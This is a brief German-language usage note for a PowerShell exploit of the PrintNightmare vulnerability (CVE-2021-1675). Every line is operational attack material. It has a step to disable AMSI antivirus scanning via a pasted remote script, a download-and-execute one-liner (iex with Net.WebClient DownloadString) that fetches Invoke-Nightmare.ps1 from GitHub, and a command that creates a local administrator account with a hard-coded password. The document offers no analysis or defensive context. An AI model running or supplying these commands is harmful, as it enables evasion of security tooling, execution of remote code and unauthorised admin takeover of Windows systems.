
PowerShell-Exploit für CVE-2021-1675 PrintNightmare, der AMSI deaktiviert und ein lokales Administratorkonto auf verwundbaren Windows-Systemen erstellt.
#Deaktiviere AMSI: (in PowerShell kopieren) https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt
#Ausführen invoke-script iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1')
#Admin-Konto erstellen Invoke-Nightmare -DriverName "Xerox" -NewUser "admin" -NewPassword "P@ssw0rd"